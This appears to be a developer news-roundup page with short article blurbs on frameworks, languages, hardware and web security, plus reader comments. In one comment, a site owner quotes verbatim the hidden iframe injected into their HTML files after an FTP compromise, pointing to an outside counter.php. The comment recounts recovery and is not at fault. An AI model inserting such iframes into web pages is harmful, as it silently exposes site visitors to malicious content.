|
For as long as I can remember, I’ve been in love with role-playing games. There’s something so magical about an epic storyline set in a vast, intricate world. But when it comes to actually programming a RPG, it’s easy to get intimidated by that same epic complexity! Well, there’s some good news. There are now some killer tools, frameworks and tutorials to make this a lot easier than it used to be. Your quest, should you choose to accept it...
|
|
|
|
|
I thought this was about building an RPG[^]
|
|
|
|
|
And I thought it was about RPG, the programming language!
|
|
|
|
|
I've been teeth-deep in Client-side Javascript frameworks over the last 4 months for Tekpub. This month is Angular, last month was Ember's turn and I gave up. It's the first time I've given up - here's why.... You Keep Telling Me It's MVC... Yes, the concept of MVC has been contorted over the past decade as web frameworks have adopted it and massaged it to their own ends. What does this mean? You keep using that word MVC. I do not think it means what you think it means.
|
|
|
|
|
I was trained in Java at University. The OOP matrix was firmly implanted in my thinking. I wanted to share some things that I have learned from Clojure that were certainly possible in Java but never became fundamental to my programming practice. Clojure certainly has learned a lot from Java. It might be cool if the learning went both ways. These are universal principles. In fact, these principles are actually well known in the OOP world. You probably already know them, so learning Clojure is not required (but it is recommended!). Bonus: watch the embedded videos to get a deeper insight into each point.
|
|
|
|
|
Working in Go was tons of fun; the language designers have put a lot of work into making the language a joy to use. We particularly appreciated the first-class focus the language puts on the parts of development that are uninteresting in theory but very important in practice, such as third-party library management, coding convention enforcement, and testing. With that said, we ran into a series of gotchas, irritants, and warts while developing our application, which I’ll elaborate on below. Ultimately, these problems were severe enough that they convinced us that we couldn't justify the gains we saw from using Go... Eventually, Go will be just as easy to use for web development as Ruby or Python -- but it isn’t there yet.
|
|
|
|
|
At Stripe, we rely heavily on ruby and EventMachine to power various internal and external services. Over the last several months, we’ve known that one such service suffered from a gradual memory leak, that would cause its memory usage to gradually balloon from a normal ~50MB to multiple gigabytes. It was easy enough to work around the leak by adding monitoring and restarting the process whenever memory usage grew too large, but we were determined to track down the root cause. Our exploration is a tour through a number of different debugging tools and techniques, so I thought I would share it here. Go ahead, blame the C pointers. It's almost always C pointers.
|
|
|
|
|
When people complain about PHP being a horrible language, not fit for human consumption, they will often talk about how the features of their favourite language are far more refined; have been designed with elegance in mind; are consistent and secure. And you know what? They're right. But PHP is still a better tool. When people write very long blog posts about the horror that is PHP, which lead to double-clawed hammers being created, then they're right. But that double-clawed PHP hammer is still a better tool. It works, out of the box, for people who don't know what they're doing.
|
|
|
|
|
He has some good points.
There are some applications that are not written in PHP, like RhodeCode (Python) or Orchard CMS that can set up their own database. BUT! They can do so only with the default EMBEDDED databases (SQLite and SQL Server CE respectively). PHP is the only system I know of that can automatically set up databases on a database server!
Granted, there are ways to do that in other frameworks, but one has to use 3RD party libraries that often cannot cope with recent releases or are so poorly written they are mostly unusable.
PHP has a lot of strengths, and I actually know one person who made PHP his default Linux shell interpreter. (He used a modified version of it to handle built-in commands). And yes, I think he went a little overboard with that, as he now has set up, on Windows, a custom shell that is a blend of PHP, Python, Ruby, Perl, PowerShell, and the default command system, and can actually write all of those languages in one file and run it.
Now that leads to a major mess!
(e.g. 'Vomit Code' or 'Diarrhea Code')
Bob Dole The internet is a great way to get on the net.
2.0.82.7292 SP6a
|
|
|
|
|
OK, I have to admit that I actually missed the party. Brad Cox first described his “Object-Oriented pre-compiler”, OOPC, in The January 1983 issue of ACM SIGPLAN Notices. "This describes the Object Oriented Pre-Compiler, OOPC, a language and a run-time library for producing C programs that operate by the run-time conventions of Smalltalk 80 in a UNIX environment. These languages offer Object Oriented Programming in which data, and the programs which may access it, are designed, built and maintained as inseparable units called objects." Notice that the abstract has to explain what OOP is: these were early days at least as far as the commercial software industry viewed objects. From SmallTalk to Nextstep to iOS. [Many Happy] returns;
|
|
|
|
|
Back in late January, I received the TECK for review, a keyboard that goes by the not-so-humble name of “Truly Ergonomic Computer Keyboard”, manufactured by a company that likewise uses the name Truly Ergonomic (hello name space collision). I’m sure other companies that make ergonomic keyboards might take exception to the name, but as far as I’m concerned that’s mostly marketing. The real question is how the TECK fares in day-to-day use, and whether it’s really a better keyboard for serious typists—and particularly typists like me that suffer from carpal tunnel syndrome (CTS)—compared to the other options. Is it good enough to give up your beloved Microsoft Natural keyboard?
|
|
|
|
|
What the hell is that, were the designers drunk?
=====
\ | /
\|/
|
|-----|
| |
|_ |
_) | /
_) __/_
_) ____
| /|
| / |
| |
|-----|
|
=====
===
=
|
|
|
|
|
Windows RT was/is positioned to be a variant of the Windows platform that is lightweight, offers great battery life, and has a terrific out of the box experience by shipping with Office pre-installed. One of the arguments behind Windows RT was that Intel was not able to scale its CPUs down quickly enough to be power efficient and at the same time, ARM had found ways to scale up its designs at a rapid pace to compete with Intel in the low-price market. In theory, it sounded great, ARM based devices would dominate the low-end market (netbook-ish category of devices) and Intel/AMD would fight in the upper regions for those who wanted proper Windows 8 and the ability to run legacy applications. While good on paper, this separation has yet to appear in the market. Intel’s ability to scale down versus ARM’s ability to scale up.
|
|
|
|
|
Back in September, we released the Twitter REST API v1.1 and announced that API v1 would be retired in March 2013.
March 5th has come and gone, but if your Twitter integration is still working you may just have missed the blackout test. On a related note, the creator Twitterizer has announced he's abandoned his baby and recommends other libraries, like TweetSharp.
I'm happy to report that I am fully compliant with the new Twitter API. Well, until Twitterizer was abandoned. #Damn
|
|
|
|
|
MegaUpload founder Kim Dotcom has the right to sue New Zealand's spy agency for illegal surveillance, a court ruled Thursday.
The New Zealand Court of Appeal rejected the attorney general's request to exclude the Government Communications Security Bureau (GCSB) from Dotcom's lawsuit. The GCSB collected intelligence on Dotcom ahead of the 2011 raid on his house to determine whether he posed any danger to the police who would later swoop in by helicopter to arrest him.
|
|
|
|
|
Cross-site Scripting remains one of the most common vulnerabilities found during web application security assessments, I can safely say from my experience professionally performing security code review for tens of ASP.NET applications, the average for me has been at least 9 out 10 web applications had one or more cross-site scripting issues. There are several reasons for the prevalence of this beast. While the lack of input validation and output encoding remain the top two reasons to blame for the dominance of cross-site scripting. The developers’ unfamiliarity with the differences between HTML contexts could definitely score the third place in the list of top reasons. It's not that hard once you know where to look.
|
|
|
|
|
Interesting timing for this article. I have spent the last two days recovering from one of these attacks. One of my FTP accounts was compromised and the result was this appended to any html file:
<iframe src="http://nymannmadsen.dk/counter.php" style="visibility: hidden; position: absolute; left: 0px; top: 0px" width="10" height="10"/>
They also left me with a new counter.php file and reference to others that were automatically deleted.
The iframe was very sneaky indeed. Agent Ransack found references to the address in my temporary internet files. Two of the pesky buggers refused to be deleted since they were 'in use' by IE... but I had no browser running?..or did I? Process Monitor showed two instances of IE running...ahh, the invisible iframes where I had unwittingly opened infected pages from the day before, when I knew there was a problem. I killed the processes and 86'd the offending files.
I have since changed the password on the compromised ftp account and added some extra security measures in IIS to mitigate future attacks. (Dynamic IP Restrictions and Request Filtering)
"Go forth into the source" - Neal Morse
|
|
|
|
|
I know a guy who got arrested after doing that to over 600 websites. He stole about 500 TB of personal data, and sold it. And this guy was a high school freshman! Who was failing his classes!
R3J5cGhvbnMgYXJlIGF3ZXNvbWUuIEdyeXBob25zIHJ1bGUh
|
|
|
|
|
Is one framework really better than the other? Different strokes for different folks, I suppose. If you're looking for a lightweight, high-level JavaScript / HTML5 framework then I'd certainly recommend Impact. Once you learn some of the quirks, it is easy to prototype with, and removing the need to compile each time you want to make a change is a blessing. Something I didn't cover before is Injection. Interesting options if you're confused about the future of XNA.
|
|
|
|
|
In the 1990s, Web developers had to test their markup on Netscape Navigator and Internet Explorer (IE). Eventually IE won out (it was even the official browser on the Mac, for a time), and developers could effectively target a single rendering standard. Firefox, Safari and, later, Chrome changed that, forcing developers to test their HTML on multiple browsers once again. But it's a fair bet that most developers would prefer a single standard. Opera's decision means that just such a single standard could emerge, and WebKit could be it. There are still enough flavors of WebKit that you'll have to test and test and test...
|
|
|
|
|
There are many different data structures used in databases to create indexes used to quickly evaluate queries. Each one has different strengths and weaknesses based on the tradeoffs they make on memory, cpu and storage (if persisted). One of these types of indexes is called a bitmap index. For the purpose of this post I’m going to be using relational database terminology but the same techniques can apply to different database types like column oriented databases or many others non-relational databases. Kelly Sommers continues her deep dive into database internals.
|
|
|
|
|
Though technically links aren't a requirement to make the internet function (you can get by on just urls), they are the primary reason why the web took off so gloriously. Linking is an essential part of every web page out there, without links we would be copying urls the entire time (or we wouldn't because who likes to work like that). But the implementation of links (the html a-element) has been broken since the very beginning of the web and with the addition of block-level links things only got worse. Click the link to read more. I bet it works.
|
|
|
|
|
When you buy a Raspberry Pi, the $35 computer doesn't come with an operating system. Loading your operating system of choice onto an SD card and then booting the Pi turns out to be pretty easy. But where do Pi-compatible operating systems come from? With the Raspberry Pi having just turned one year old, we decided to find out how Raspbian—the officially recommended Pi operating system—came into being. The project required 60-hour work weeks, a home-built cluster of ARM computers, and the rebuilding of 19,000 Linux software packages. And it was all accomplished by two volunteers. A Linux distro tailor-made for Pi's floating-point prowess.
|
|
|
|
|
“Should I join Microsoft or a startup?” As the co-founder of a profitable startup and a former Microsoftie, I hear this question a lot, especially from college students ready to start their careers. In tech cities like Seattle and San Francisco, we’re quick to jump on the pro-startup bandwagon. Robert Scoble advises: “Join a startup. You will learn more there and have a bigger impact. Later, when you have a family and a mortgage, you can take the safe route.” But this advice ignores the advantages—like knowledge, confidence, and money—to working for a Microsoft, Google, or Amazon first. You've got to ask yourself one question: Do I like ramen?
|
|
|
|
|
Roku 3 is the latest in a long line of set-top boxes that date to the days when TVs had but 13 channels you could see only after fiddling with a pair of rabbit ears wrapped in foil. (Ask your grandparents. They’ll tell you all about those dark days.) Now we have set-top boxes -- most of which actually sit under your ultra-thin HDTV -- that let you watch DVDs, stream video and play games, often from a single gadget. Ain’t progress wonderful? Here’s a look back at the set-top boxes that have allowed us to kill time with ever greater efficiency.
|
|
|
|
|